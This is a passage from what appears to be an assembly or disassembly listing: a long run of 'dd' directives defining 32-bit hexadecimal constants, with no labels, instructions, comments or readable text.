0A01551BAh, 0FD290003h, 5D45F280h, 0B97E69E4h dd 0E49B1A28h, 9C521EC0h, 31B5AF0h, 80F85545h, 4D90CF2Bh dd 5E01E397h, 6DD24117h, 96202A6Fh, 6C4300B8h, 1F98A040h dd 307B6B2Dh, 99F0B500h, 87F22B02h, 7A3500A4h, 76250463h dd 9700F44Bh, 1F5075B0h, 0FE0A0503h, 5D2600CDh, 1539D49Bh dd 1900A7B5h, 0C0ABB6F6h, 70D7857h, 0EBF36988h, 9055C042h dd 0EE0074D0h, 0DA29924Ah, 135E76C3h, 0B217D9h, 5B1D4912h dd 0AD7DED33h, 4F77CE00h, 9F7D7AE8h, 8F6100F6h, 0F416D6D7h dd 580ACB08h, 844E8A29h, 0F6A59F80h, 0FD67C63h, 34E1C99Eh dd 0A84BAF20h, 7F001AD1h, 5EC59ADAh, 0A6F291h, 0FF3D7B0Dh dd 17C7C438h, 0EF519B00h, 157973ACh, 0AF8E221Dh, 0C269E13Eh dd 7148E700h, 0D615E526h, 498D7000h, 39A347F6h, 4BC90063h dd 0A11BC5BBh, 0B492ED1Dh, 0DD3F587Bh, 1CC8E7h, 3ACB944Eh dd 38433D6h, 0E30A16E2h, 66C849F8h, 80006740h, 86A7DBFFh dd 1AC0F2Ah, 7EA5EB04h, 7023BF5Fh, 8E726AFCh, 24EAAE00h dd 8345D736h, 0DB970C65h, 0A7307C75h, 0BBE46000h, 66A0AD1Ah dd 2AF11954h, 103490E9h, 606DCAh, 38A34993h, 3D8903BBh dd 1AD6F606h, 480186h, 98C671AAh, 8DEE194Bh, 740F59E6h dd 4029C094h, 9D44E840h, 24F77BBDh, 80E1B3h, 8AFE34C2h dd 61054A91h, 0C8EFAC24h, 0CCB32E80h, 0BF5A050Fh, 14A8D9ADh dd 7304CC90h, 0C18A6582h, 0DC67CC92h, 5800AE11h, 8E7AF56Eh dd 305F6BD8h, 2914D259h, 3700ADBCh, 83CA6350h, 7552CE1Ah dd 8154046Ch, 80341C95h, 5F45AAF8h, 907A3Bh, 0B23B174Dh dd 1FAA192h, 0FDF46730h, 0E4518E8Fh, 8005365h, 0C1C8C224h dd 1D1D38B5h, 0C1270123h, 6C8A2892h, 83A88099h, 0D57546F3h dd 0C0663E91h, 17035207h, 1161EFA8h, 80BD33BAh, 0BF8F5D30h dd 0C3BCF52Ch, 6F751F10h, 4E8B1590h, 0C4C35500h, 2C789D11h dd 0A79807E5h, 2826D0h, 0F97F132Bh, 7B182403h, 0E84CA1EBh dd 0B8D2ABB8h, 7C4700B1h, 646CE5F1h, 3A009A5Ah, 0DA459642h dd 3C759Dh, 286D4CF3h, 0D9F24E94h, 0D5744700h, 0BCBF22AFh dd 0E83330A1h, 6C8BE2DCh, 257F3EFAh, 0FCEF9751h, 0E548BB79h dd 1F740314h, 0D06F13D1h dd 4C0BA0A6h, 6E01886Dh, 97489616h, 0C29B024Ah, 0A0DC8A54h dd 0A009E800h, 8981AAh, 0C9A51BAEh, 254F43E7h, 650E9A00h dd 16B1CBF8h, 5A5E0014h, 682C1FE8h, 920085F9h, 8AFAF01Bh dd 6AE68Dh, 659B1008h, 2F8B6E76h, 3E75E101h, 900F6B69h dd 0FE87C8F5h, 30368AE5h, 108D6895h, 0DF49EB03h, 0E8B35Eh dd 79827FC8h, 0D2D9611Fh, 732DE600h, 875070BCh, 1C7120h dd 3EE2C6DDh, 0E6D8E2Ah, 84A4580Fh, 371B20D4h, 82EA40h dd 0C52086Fh, 8AEC8F1Ah, 0D2007498h, 7A368871h, 0C001EF7Fh dd 0FE35ED78h, 61CC304h, 2A000BEBh, 0C23D3EFCh, 54D0F18h dd 2EA0C6F0h, 8F63AA65h, 7900D576h, 991DABB7h, 3D71062Fh dd 0D007238h, 0ED496C0Bh, 50C05903h, 0B8AE267Dh, 2D8700ADh dd 0C0E9727Eh, 0E8070B6Bh, 4295A362h, 40CD3E50h, 0CB090777h dd 2493325Fh, 2B94C096h, 0F401EDF1h, 5D1362D8h, 2D880BDh dd 0EFFCF517h, 0F66008Bh, 7453A59h, 30F4E9D2h, 0B8B46B00h dd 5678078h, 0E8D86063h, 36AF188h, 894964Ch, 47BF26Dh dd 0D03D93AFh, 3C382F6Ch, 0A64E1100h, 0EF5819C4h, 2E3600F1h dd 65D19AB8h, 4648B4B3h, 0E6B71F58h, 29E73480h, 7B5244h dd 0B8C89513h, 0ED414EDCh, 787F3902h, 0E08CFE3Fh, 9010E320h dd 7D600F0h, 5BA96FC4h, 0E67E757Bh, 639CB7Eh, 8BA400A2h dd 0F6521307h, 6C5F4CD1h, 12FC0071h, 3282A73Bh, 2E0E978Dh dd 23095D87h, 3C64FA4h, 740C9E56h, 6FD0842Dh, 0D80507D4h dd 1EC29D76h, 0B8082783h, 99577Eh, 7AADD7F3h, 9381FD6Ah dd 1EF96300h, 3C279F1Bh, 244D0F53h, 4A603DFBh, 0D39996EBh dd 0DCB61500h, 36531707h, 3FDB895h, 0B0DEF947h, 0C053DB14h dd 68A207E0h, 0E1601C9Bh, 0D3590B25h, 0E60C0038h, 3BB4D756h dd 0CA004E78h, 8D1D81C3h, 1ACEA11h, 0F22C38C0h, 0C8C13A76h dd 0A3030956h, 4F0DEBD5h, 60A9AABDh, 0EF5EC4h, 0C6294E37h dd 3B063E3h, 12DD4600h, 3E413294h, 679F3DCAh, 4C961D80h dd 0E140ECD2h, 2737FB00h, 8DDF487Eh, 0E6D02486h, 20990F74h dd 66C402B3h, 7C630301h, 0E53F56D8h, 0C2AF7F00h, 55C66554h dd 2090F1h, 7AE4D5BFh, 3B99C825h, 18F0FE37h, 673EA730h dd 9EC70324h, 793FB166h, 21D44AF8h, 510BF200h, 6C4BAE46h dd 12FF01EEh, 0A1984289h, 99A7FCEDh, 0EA90DDE4h, 20822F25h dd 61893B14h, 154707D1h, 90A1BD2Ah, 39E4E074h, 1490F500h dd 8B78B19Fh, 23E31E68h, 4CE6B2h, 122EB72Ah, 0C890C6B0h dd 0A046A200h, 7E5F3397h, 0FC1649C2h, 0EA4B9C00h, 0D065D2C0h dd 390150Fh, 84280026h, 0B068C4B8h, 6AA4CE8h, 7412D000h dd 85FCBF0Ah, 22162C98h, 4B1D9246h, 58B0E046h, 3E2FC19h dd 0B36C2DA3h, 0E6E9751Eh, 0CD18DCF0h, 0C2E39600h, 0EFDC492Eh dd 4808285Dh, 9A6200A0h, 0EFBE0AFh, 522E9157h, 5900A629h dd 900C222Fh, 0F09033h, 3E867605h, 71195F16h, 0C196DE0Fh dd 550E67E9h, 396CAD80h, 4766004Dh, 17CEF8B2h, 8902A74Bh dd 5DF68C35h, 8281E0B9h, 55C20326h, 0C571A37Fh, 0B3E0A6A3h dd 0B8F4BFF5h, 84794400h, 5C052597h, 0D23C3BB7h, 0AA9ED980h dd 82BA143Fh, 0FC007FFEh, 0D0BD5613h, 51AE15Bh, 0BCAD018Bh dd 3921C0FEh, 4004246h, 0AA1F7B09h, 83F768h, 0AC37195h dd 0A60CA0D9h, 0E5871518h, 5B9030h, 616533F3h, 7B6A1BBh dd 30134D00h, 96865C1Bh, 0DB661F75h, 80042E44h, 62FB683Eh dd 0A41E597Ch, 0F180DE88h, 5D20CA39h, 57DB0081h, 0A8742907h dd 3500E4DDh, 55249480h, 0E5314h, 402867CBh, 0B17A8138h dd 0F47E4700h, 0AB35421Bh, 8A9F0192h, 11D8202Ch, 0F31E4D3h dd 0BE00CC75h, 54F14DFh, 30B667E1h, 8E42764Ah, 60004795h dd 85825B29h, 2C94ECCh, 0E3FB21DCh, 33C03CB0h, 870084F8h dd 54395057h, 0C815B4h, 0DB2C193Dh, 0F45ECFD1h, 0E955F300h dd 0E0C7A4Eh, 49EF006Dh, 0D762DCE5h, 0FB00B9D0h, 54772B2Dh dd 5AE913h, 7BA420DAh, 645E6107h, 0DBCDD500h, 603BFFF5h dd 44C000CCh, 0A49C90B7h, 0D300E9C9h, 20477D2Ah, 2F8593h dd 5CEEA713h, 714A81EFh, 2DEA21Eh, 149B3300h, 0A677C0Eh dd 0FB3E77A0h, 761709A0h, 0D10ADC80h, 2500BBEAh, 371C4972h dd 678B57h, 9E662A10h, 0D517904Ah, 8F0728FEh, 0F2C3C45Fh dd 4924601Eh, 4EDC1B3Fh, 69780EBEh, 0A0D4D820h, 200C995h dd 5ECD39A3h, 2E937A8Dh, 53E05D3h, 404FACAEh, 0E623D18Ch dd 21387D4h, 3C80B543h, 66C52Ah, 4EBE89BFh, 321D5218h dd 0C726F403h, 0D2446D9Ah, 0A73CE86Bh, 9D5C0067h, 0F585202Ah dd 21E8D02Ch, 2031C734h, 4010FF18h, 1D88906h, 0E813FD4Eh dd 0AF8C11C0h, 79A6D3Ch, 101681ABh, 4BFD32C0h, 0F7A57465h dd 0E507342Ch, 0C1ED3A3Bh, 0D4B14F60h, 811DE373h, 84EA5F96h dd 25A6BA0Fh, 199D4D7h, 781E802Ah, 5C08AC8h, 9D7A3165h dd 0DC16B928h, 853824E8h, 95301D4Bh, 0B6323700h, 0D3A5A725h dd 0A8280C51h, 0C0612A81h, 10490CE8h, 0CF4D060h, 0B669117Ch dd 0A90AA6C0h, 9438B96Ch, 85BBFB00h, 0D093FFh, 0B4EE8B5Fh dd 378D1535h, 0F957C001h, 0CDB7652Fh, 7C5BE4h, 42D7DEF4h dd 0DCDAA3C9h, 48CFB000h, 14E4E383h, 0D3A1580h, 41EBC70h dd 0FC1D8338h, 0F3C09A6Fh, 0D9C69C25h, 4CB1BBA0h, 9303F791h dd 8126F377h, 0A43F2103h, 1EC522Ah, 0D7421911h, 40AC1CBCh dd 0A0E3F41Ch, 27114860h, 30829522h, 0E81EC28h, 0C31DBA9h dd 0AB6411F7h, 0A469B2F8h, 0D9DF0FC4h, 8D48DEDh, 22F0496Fh dd 0EB641DF6h, 1502998h, 52EC6816h, 2904108Dh, 0AF4C0045h dd 98974ABh, 336037DAh, 0BC36E3C8h, 79E764Eh, 26AA6738h dd 0C4103C3Ch, 1DD38F04h, 2491319Bh, 0D8DFAEBCh, 1B65902h dd 3EEB019Ch, 47DE061Ch, 32B4C3A4h, 8CCE09C1h, 0A9EF0F10h dd 0E283CD0h, 7D2FB600h, 78C9BF9h, 635BB300h, 0BDAC24F3h dd 28F01EF8h, 18298C3Ah, 69182E38h, 0A868F79Eh, 792D0C40h dd 6C1098C2h, 6574ED1Eh, 0FDC2975Eh, 900FCF80h, 3A91F8Ch dd 0EA22BF0h, 18B8134Ch, 0A744471h, 6E0F261Eh, 7D0AE097h dd 3C038C41h, 0B0B0573Ah, 362E87E2h, 18696EA1h, 0AC312475h dd 81DA90F1h, 3C050C40h, 27920E6Bh, 58092AB3h, 8A112E81h dd 816CEC25h, 2484EA50h, 3D058D78h, 8252CA28h, 9ED7CC40h dd 3B35437h, 5D225113h, 88B80575h, 3A001915h, 25084958h dd 7C6D87FBh, 0A0A84016h, 2C5749h, 0FCCBC597h, 0F987A5h dd 6C3B206Ah, 46780C48h, 0A70FEB00h, 9D2537C2h, 30512F1h dd 0E2540EE3h, 0AD526C80h, 8C6E2A41h, 0C83420D0h, 4F7A54h dd 56737DDFh, 655C55ECh, 4C0DE8F9h, 74422206h, 7A29CBD3h dd 1658F8DAh, 14B3931h, 0D3038659h, 4EDE0EFh, 0C800EC7Ch dd 0D2C39606h, 1DC2EB8h, 0FF8A8274h, 30D69D14h, 0B600C594h dd 0C0D2CF33h, 95B33Dh, 1B3E1109h, 431DADECh, 8887DF00h dd 0C83D9FEAh, 0BE1400D2h, 1E6328Dh, 9000B599h, 0EB1B3CDBh dd 0C4B5BCDh, 0A9DF66Fh, 0A60FC820h, 0F44349E3h, 0D8E3E120h dd 380CF618h, 0C0F03B43h, 548F05D2h, 80154FF3h, 7D6D17DEh dd 21E108CCh, 0F34C002Eh, 0DF843DCFh, 4A016581h, 2197D12Fh dd 8840D2C2h, 310AE0Eh, 1569981Fh, 8100658Eh, 0A0AC805Eh dd 0ADF274Bh, 0E305896Fh, 0B2730188h, 0BB1D61BFh, 0E9808528h dd 0B0413422h, 0F51AA43Ch dd 309B1320h, 769C8BDh, 4A15DC62h, 0C009E0h, 9517BE59h dd 0FE76B224h, 5382001Ch, 3A75AEE1h, 0CA009F91h, 0CD73650Bh dd 6715052h, 800748C4h, 0D500E1F3h, 309F2587h, 0C04D341Dh dd 47806260h, 3A306509h, 7261299Bh, 3B54E0D6h, 71873175h dd 205AED4Dh, 0CB4B5E6Bh, 72C88700h, 436A48CCh, 7078D8DEh dd 4225F55h, 53EF3C15h, 4B3C9AA2h, 1AA194EBh, 0E7786084h dd 50384187h, 30039427h, 2E393A18h, 0E0A1C237h, 8511858h dd 7D154AF3h, 2F4086C4h, 50C2F349h, 60689C00h, 9D4DB336h dd 4408483Dh, 19221C0Ah, 27080BCh, 0B27117E4h, 0A340CB00h dd 0EA91B9D4h, 841C0642h, 98B41989h, 0BA059F09h, 0A3040016h dd 246599C8h, 0A10C2B82h, 0DC4815E4h, 74B6F700h, 1743686Eh dd 0EACCA1C0h, 607003B2h, 4F3E13Eh, 0A7012309h, 84EC8055h dd 945781C7h, 1B3F1BD3h, 59420829h, 5EDD4AC0h, 53A7F71Ch dd 0ED186E40h, 0A3617DBEh, 40D3C2A8h, 0CA623D88h, 11A01811h dd 0F358805Fh, 8CB51573h, 0E328844h, 474DF350h, 1E545D20h dd 0B3074018h, 7D60823Eh, 8C4C9783h, 0AB911C90h, 549065h dd 525D50C6h, 0A5DE1DF0h, 906FCD37h, 0A0332062h, 0AF702890h dd 4E4D0355h, 56B53D90h, 21100830h, 4AF4873h, 28C0B034h dd 0E5E88196h, 857403CEh, 0E12D884Eh, 81EAA227h, 5EB1FECh dd 20CC42F7h, 0F99440CFh, 0F1A808A3h, 84064578h, 17571D0h dd 727D0041h, 0F499D73Ah, 8F62CD35h, 182122A8h, 5910AF74h dd 0FE2AE4Dh, 0A42FC1C0h, 221FDE00h, 4F5DC0B5h, 0EB6B014Bh dd 0CD954DCAh, 2C382006h, 1E410810h, 0C448C839h, 69CBA980h dd 0FC1ED8DEh, 0AF096050h, 49280012h, 142FA3F7h, 0A89A588Ah dd 98956204h, 38F90230h, 57E8B052h, 157411F3h, 808788ADh dd 8FF34F35h, 7E019BCDh, 0A5ADD4E2h, 30221503h, 0D998404h dd 727481EDh, 7A11EC6Dh, 0F0B54128h, 55901B0Bh, 131A00BBh dd 58849F9Bh, 5880C06h, 1736FB80h, 0FA81ADh, 94599FABh dd 6E286C47h, 0F4143D00h, 0A0BFD538h, 0E04B18ECh, 0C6323917h dd 9A5EFF09h, 527C0420h, 0E8093h, 0FFDE5821h, 0A310D940h dd 0F20B4100h, 0AF95F4FEh, 899E0068h, 8033A2C0h, 911B85A1h dd 8C8BDD1h, 1CB40868h, 0EE197782h, 33E0482Eh, 9095543Ah dd 0A5960030h, 0E4710112h, 0D09174D1h, 85AF2130h, 26C1903Dh dd 409C3887h, 6575ABBDh, 4909DC90h, 80A58146h, 597B91A0h dd 886F485Fh, 931C4D24h, 5E900145h, 89A824FDh, 80CB4C28h dd 81C474D0h, 0A13400A9h, 617FCF36h, 492075Ah, 162CE502h dd 0C43B1415h, 3CCC0F50h, 40BE4544h, 0DCCFEC81h, 0CE1E5B83h dd 0B91C8F3Dh, 9FDB1442h, 1E58C4BCh, 0E4C9EE63h, 3BC50148h dd 809C3AD8h, 0CB299951h, 8CAD64h, 0FE1AB095h, 1F5A891Ch dd 9B72AA00h, 7A5230F8h, 745524A8h, 0F1F68868h, 1E1D9903h dd 84B03D19h, 4CC0A52Ah, 45233C4Ah, 71F35203h, 0E062DC15h dd 0F34A2C20h, 0BDCC0608h, 48F59D89h, 86B7710Bh, 58B020EDh dd 0A80A1A04h, 0C0C121D0h, 1929E7E1h, 4258D82Ch, 204DCE44h dd 0B3089016h, 1404921Ah, 0F0839B41h, 0C9A16A87h, 7447E881h dd 1919803Dh, 0BDCBD85Bh, 0F0771F5Ch, 1108B3BAh, 437C2100h dd 0F83A4AD8h, 0B9930F5Ch, 0FBA07226h, 6DF49284h, 8631AF04h dd 94900522h, 0F33AC1Dh, 1FBBE70Fh, 4BC2F7C0h, 0FC006EF8h dd 522BAA58h, 6FD1D80h, 0E01389FBh, 8D3FB11Fh, 5E9E82D0h dd 0E0236D37h, 2B597F1h, 4EF393CBh, 8040C5A5h, 3807F72Bh dd 0A45FEC07h, 0CC807385h, 28659A5Dh, 48D01172h, 0C402E45Ah dd 71F7C366h, 0A1FBCC40h, 30911CF0h, 2D3AFC80h, 201C087h dd 0F216E763h, 34C1F35Bh, 92E0FC86h, 1BF8AD00h, 0D9E6AC9h dd 2ED10562h, 26BA94h, 9A0510FAh, 68998675h, 19124B1Dh dd 85916400h, 0B8091804h, 7BB5209Ch, 0D4B1F498h, 0EC1888D1h dd 96D95200h, 26701931h, 57411F8h, 4A0079C8h, 85787328h dd 584C12F3h, 0DEC0040Fh, 0A55290B4h, 0C7382D01h, 27960778h dd 11B461A4h, 0F3568051h, 8CA51575h, 308944h, 34C5F34Eh dd 4192AB61h, 6D028BF8h, 0CD996A9Bh, 758C4888h, 0C354818h dd 5D878428h, 440130BEh, 0DBC0F709h, 0EED5F0BDh, 2C1731C1h dd 3EE59D82h, 912FE020h, 180FD158h, 0E4500245h, 13B26169h dd 0B508CC81h, 0CA342506h, 0B8800864h, 9B0102B9h, 0A22B9875h dd 68E0644Bh, 0BB2A020Eh, 71F0D51Ch, 993E8860h, 1F0050B0h dd 30A0A9A5h, 269E05D3h, 408D0C0h, 19B2989h, 7EDB759Dh dd 4829A072h, 0D85E0160h, 1844BDC6h, 467B8816h, 0BD22D807h dd 0E5908449h, 11C782DCh, 0F1DED8Fh, 0CF8905FAh, 0CDCA003Ah dd 0A019F99Dh, 3058DC98h, 0D2299A07h, 400B7A7h, 4D5AB9B1h dd 0E5F900Eh, 0CAEFC34Bh, 53D8D83h, 809B3816h, 1EE0F821h dd 0E86B4180h, 93BAA36Ch, 73036676h, 3D2157Ah, 0EF611719h dd 0EB5C0658h, 950948ACh, 37E9186h, 4C19F074h, 0DE88449h dd 0D7441E8Ch, 9FD3014Eh, 0BC8885B1h, 0C901C648h, 0F89A69FFh dd 880A0C1Ch, 0FC002155h, 70854F06h, 319B31EAh, 0EDE918BEh dd 9C13101Fh, 2AA400BAh, 0AE87F353h, 0B30C81E7h, 0D8645D95h dd 0ACDF4ECh, 1093AD97h, 0A43902ECh, 84E1DC31h, 2809D992h dd 4182048Ch, 490E599h, 98D6840Dh, 0C3380118h, 89BFC44Fh dd 203DEFB1h, 58130AD2h, 65782048h, 0BD088CD7h, 179A31F1h dd 1A970C9Fh, 0CB4D2290h, 0E4090004h, 525E03F0h, 50BD600Ah dd 21888407h, 0DEDC3754h, 0A762AB01h, 0BDA655C3h, 1D6D53E8h dd 405DD8A5h, 61AFFAB6h, 0A1742ED3h, 7DF7B80Fh, 0A8C7005Ah dd 3FC0A3A6h, 74B079h, 0D1BB7338h, 21446B5Fh, 4BC84D00h dd 0BA0CA6F5h, 15973CFh, 614ED1A7h, 0DC5DFFA9h, 5057ECA4h dd 0FE571E38h, 94BDB20Eh, 0DF5AA818h, 18B9DE08h, 0B130B05Fh dd 0DBA76D1Ch, 0FE42C880h, 5A53ABh, 0A95838DAh, 46475FFBh dd 139201Fh, 0DACF580h, 0C37EEC45h, 47514BD1h, 41B84DC0h dd 906438D6h, 2EED0468h, 8514F58Ch, 1E94075h, 574186DCh dd 42787049h, 0F9BE1905h, 0F081E8CEh, 3083EDBBh, 438FEB52h dd 0A6E191Eh, 80FEF0Ah, 9981D024h, 3CD6489Dh, 503BF420h dd 12D32CF1h, 0A286265h, 660C3804h, 0C8C8948h, 78C7A4Dh dd 0D79D4DFCh, 0A090586Dh, 759E8173h, 408CDCE6h, 48E96049h dd 594C40CCh, 9E342AA3h, 6E490C78h, 0F2B1F617h, 7A437E87h dd 0DF8921BFh, 48EB5990h, 11A111D4h, 20B40813h, 0CA0D9FECh dd 0BC2881EFh, 3C155EF3h, 0CBE461D2h, 0FB0727F2h, 96160448h dd 600BC52Ch, 0DCD7B300h, 28D833BDh, 90CF673h, 47003C8h dd 0C9A928C8h, 1978740h, 174D4EB3h, 4189BDAFh, 0E29AD20Ch dd 4B28D064h, 6F1F58B5h, 0F3D450FCh, 884EE864h, 0F098CCD7h dd 608C5B55h, 0BCA47C3Ch, 0D53DB880h, 0C474A089h, 8D3715B9h dd 0F63FC423h, 81F899A9h, 0A134A2DCh, 145C30ECh, 45489084h dd 0B9408C73h, 29F6C119h, 918C60D9h, 0A0E44605h, 2672F35Ah dd 4C7CBE15h, 0D6443398h, 0E5411881h, 35F49148h, 386F68C1h dd 0A0104791h, 88A686F0h, 6EE04260h, 61BE18D3h, 0D4585928h dd 8A944905h, 0E08C6140h, 72C7AD8Fh, 25980C32h, 0DF8072EAh dd 508C98A8h, 0CD811C31h, 0DFD2843Eh, 1917C504h, 0A1588830h dd 0C8A328F0h, 146042F4h, 9994ED37h, 8BDE2D40h, 84603AC8h dd 0D34A1E28h, 9943E680h dd 59270C8Ch, 0AF4C028Fh, 0F10C675Ah, 0BC8B0ABFh, 0A8A1B8C6h dd 802814CCh, 0C99D147h, 4787585h, 8FD8558Ch, 3D6CF29Ch dd 13BFB342h, 0A039B124h, 20B3AF9h, 0B409AC1Fh, 0DB144903h dd 7462D84Dh, 6159221Ah, 0FA2350BEh, 92CBE0DCh, 76FBD9Fh dd 0D8A8B451h, 9974D281h, 0D8C014B4h, 0BCAAD1CBh, 5417D958h dd 0A22C9A4Ch, 0CCF035F5h, 3F28DDCh, 1F2BDECh, 3F44810h dd 203A36BBh, 977C2D78h, 80217288h, 0CCA44182h, 5E75DC07h dd 4BC3D0C2h, 67EDD060h, 2E70C698h, 70CE18CEh, 99125011h dd 0FFA82275h, 6693C98h, 3946A9F6h, 3C47E8D1h, 0B19C6704h dd 0D8497990h, 11CC3C18h, 0E1AC1DDBh, 39008B05h, 1C903B9Bh dd 557CBE00h, 0A4ABFAA5h, 0AAC30332h, 18D1A76Dh, 0F7A7A89Bh dd 0AF408EBAh, 696B6B0h, 0F772591Ch, 0C1A828C0h, 3361AAh dd 0A755A0C0h, 0BA60AD8Ch, 6218FF1Dh, 7B28F81Bh, 0C0A33E11h dd 0F5B65600h, 0C1336FA6h, 0B761AF00h, 32BD5B8Ch, 0FCA7F8CDh dd 0F05975F4h, 4AA78FCh, 0B955FEBBh, 0EFE88864h, 607D04ADh dd 0BDA64BCBh, 0A302B490h, 54B0C264h, 0C74479D3h, 54242823h dd 9D6040C0h, 0B6D3F4CBh, 0B886645Ch, 5C579F48h, 99496418h dd 683D26B5h, 3BDF05F4h, 0EE3081D8h, 1E9EC41h, 37D44B2Ch dd 7103FA01h, 90803732h, 5F9ECA65h, 2F044B52h, 0F62331F0h dd 0BB8008BDh, 0EE9AA8E8h, 9089EF4Bh, 634ECC30h, 0CAEB7074h dd 4080EDC2h, 536038F6h, 0EE8D28B6h, 0A1E108A3h, 52F9F980h dd 0D0855CD4h, 6050028Ch, 0A2957A4Dh, 89870C3Ch, 9D1095F1h dd 0E2E41D12h, 4BC85C80h, 0C67FE6F4h, 68434AE0h, 0F888BF33h dd 86810414h, 0A45385F1h, 0C3408328h, 19D87C38h, 78A6341Dh dd 37D448F1h, 8CAEB3E4h, 0B2431308h, 8138F392h, 5C2AFFDh dd 0F8463AE0h, 1E98C7D2h, 93011504h, 0B3209018h, 5C038F23h dd 715934CDh, 0B9E41Ch, 0E009D079h, 9CF03064h, 22F90828h dd 0CAF8B864h, 1F861A09h, 99E60008h, 0F1EB15C6h, 79D94500h dd 0A86DA120h, 75A9488Ch, 55AAD307h, 985C85BEh, 50B0CE78h dd 0A6C1A916h, 1803541Fh, 0A0DF4474h, 2D0A3B9h, 991E7A59h dd 60981403h, 89020C69h, 0FFAD1DD4h, 0E104B080h, 53CD7C4Ch dd 8400C10h, 0CFBA1F46h, 748C22A0h, 78560C2Ch, 0F3D336C1h dd 4815218h, 0E491AC4Eh, 0A805882Fh, 4A103298h, 14F40899h dd 0ADDC04A4h, 92C9930h, 22104B70h, 81926776h, 0D1904EC6h dd 2109F08h, 67887040h, 8918106Bh, 3D619CB7h, 4C487B88h dd 35334001h, 0C50008Ah, 0D07CDB58h, 0F1321828h, 0F324EE09h dd 0F591F048h, 9744F222h, 12998994h, 489B2496h, 229D9198h dd 9C9F449Ah, 9E12E189h, 0C0C1E327h, 47C9DC4Ah, 615122C4h dd 1835C174h, 4B33D1EDh, 4F229B0h, 82B9575h, 73C1026h dd 431C2F59h, 0DFE035E6h, 0E5E9CF38h, 0B7B0E03Ah, 87C8603Bh dd 0AA2FA8EDh, 52C7B647h, 9A41BE87h, 20E386F1h, 6071AE40h dd 0E1FFFC81h, 0C8C0B78Bh, 3AED09BFh, 484D7BA5h, 7F04E87Fh dd 2B1659F5h, 43508830h, 444B08DEh, 29BEC44Dh, 0B75C38B9h dd 5848EC83h, 0AD657103h, 22664AFFh, 18826309h, 5DF50417h dd 883AB3C0h, 13001BCh, 763703FFh, 31104171h, 0E0384AF3h dd 0FDAC67h, 0BDB39363h, 0AEEC1E4Ah, 3B68343Eh, 6A988025h dd 0E0A63505h, 3EC14286h, 4D11009Fh, 2840B31Bh, 28EC5417h dd 0E44EBDCCh, 7D1830E2h, 0ED40D376h, 6331C0B1h, 0B86FA9CEh dd 5359F407h, 67C0BEA0h, 0F1A3C1B9h, 0D3BCA42Bh, 0A700BA74h dd 0A659CFA8h, 0AE38FAADh, 31BD7814h, 0AC306CA4h, 8CC3D960h dd 30D1B638h, 0ABF400A8h, 5CFBB7BFh, 0EC1E6961h, 0FE4C5368h dd 37D090ACh, 4019A35Dh, 6DB3FBBAh, 0ACFFA50Eh, 3A809B55h dd 0A409D328h, 5DF8ABh, 0A3A9C0D0h, 0A5BA0DD2h, 0D431BBA7h dd 59C2AFC1h, 9AA2B9A9h, 63A8100Ch, 0ECA04ACFh, 40E94A44h dd 14A78840h, 0DCBAABF5h, 42F66EC7h, 4B55E933h, 254996ACh dd 0BC7641C0h, 2F20F92Fh, 0E00A907Bh, 9D81BC16h, 4298A1F8h dd 0D368F52Eh, 70D1BAE4h, 9A7ED450h, 0D8390024h, 77BAE49Fh dd 0BE9B1579h, 0F00EC16h, 7E78EE3h, 0E0BDE996h, 0C6786CB8h dd 283311A9h, 13484017h, 437ACFCh, 0E18B26A9h, 0F2186F51h dd 0AE77B923h, 0D2C22268h, 31F33A30h, 0D0D62232h, 411D2C81h dd 4A20221Dh, 0F1745F3Ch, 8C40022Ch, 1D282C06h, 332B5237h dd 5908F5B8h, 0C36FA74h, 0ED79CE21h, 3708DF67h, 0A513EA6h dd 3448EE18h, 7DE00EC8h, 0A91740F8h, 2E010F73h, 0D89BC94h dd 0F72A368Bh, 9D8F0494h, 0ED0C645Dh, 870CAE79h, 308A9FF1h dd 69E9613Ah, 1011F6EEh, 12E595B3h, 0AF1AC918h, 75DBA460h dd 3A104092h, 99FCF1C1h, 3186F0EDh, 0D835CD74h, 974C3C54h dd 2A58AD51h, 0B20418F6h, 1B0ADDBFh, 85F3E039h, 2A8E3005h dd 19AE2130h, 0EE3380C5h, 586F4C0Ah, 0CA285EA5h, 1DD77054h dd 0A497EE29h, 56F19908h, 1DD31121h, 0B831E309h, 790B60D9h dd 0D25A3E84h, 6F28A742h, 0E5CE9DA8h, 2808F005h, 0FB105722h dd 0FC90CA8Fh, 88974275h, 18D247C1h, 0B991217Eh, 0FA22C744h dd 0E2DD0835h, 4208D551h, 9AB9428Dh, 10224214h, 55FCD36Ah dd 2D888D42h, 116A7244h, 939C96F1h, 885C24EEh, 0CD45BD6Ch dd 25206023h, 0CCD73709h, 4B6010EDh, 137936F4h, 9AF84061h dd 2136BE31h, 0A03FDA2Bh, 58D00DEFh, 8232890Ch, 4EC147Ch dd 1FC8001Ah, 4D410955h, 11636CCCh, 214879B4h, 9997848Ch dd 2828D0CCh, 51747104h, 0A22E50F2h, 9E930E0h, 0C8C296D2h dd 0B6829D40h, 91ED4D2Ch, 0C3675A0h, 9844F053h, 0F2AF3771h dd 0A7578921h, 118FCEA8h, 3E0A2908h, 0E0C11660h, 0F811C001h dd 0FC96344Ch, 0CFCA1000h, 0C7B5D2AFh, 53990629h, 398F9A07h dd 1D5084EAh, 46880664h, 0D6500EA7h, 91806E09h, 543A2E1Ah dd 0A11F4873h, 934ECB90h, 0B6AE2352h, 0BA40005Dh, 6726CFF5h dd 4CA0EACDh, 6D269614h, 37004816h, 684C9C66h, 216E6004h dd 0DF4B5FEFh, 6A4DD106h, 3199A3Bh, 0FE43F3A1h, 0C5A03E52h dd 0D8010BC0h, 0F165DA1Fh, 30209CB1h, 2F6D0049h, 5276AA99h dd 0F03FDCB5h, 157583FDh, 7C057186h, 7D2C0078h, 0E5765C6Fh dd 51F24B50h, 0C4A01751h, 3A30363Dh, 0BB357997h, 61E282h dd 4B96D4EBh, 69E5CDECh, 6F306660h, 169A3621h, 0E1CFA65h dd 80014138h, 801603ADh, 4230BA10h, 0F4373813h, 870F171h dd 0A9850CEFh, 8AB8E1F9h, 9776B201h, 594254B9h, 0AF45E8h dd 41BB67E8h, 0B0956643h, 7B0EE707h, 74C058ADh, 7348A50h dd 726A4C40h, 0D2FE4056h, 80062F0h, 0F258E70Fh, 79474018h dd 44F16197h, 0D0634605h, 1D1E4C03h, 489D32FEh, 675B033Eh dd 0FF30AABh, 52E61B40h, 50AC0680h, 40A40C89h, 941E27F8h dd 5400F84Eh, 790F5B06h, 0A6AB7863h, 56B90230h, 4128E44Ah dd 67B81C9Bh, 978035F1h, 507A0278h, 4A7B27ABh, 46066099h dd 48DBC8Ch, 4127E4C1h, 4E28709Dh, 7D85310Bh, 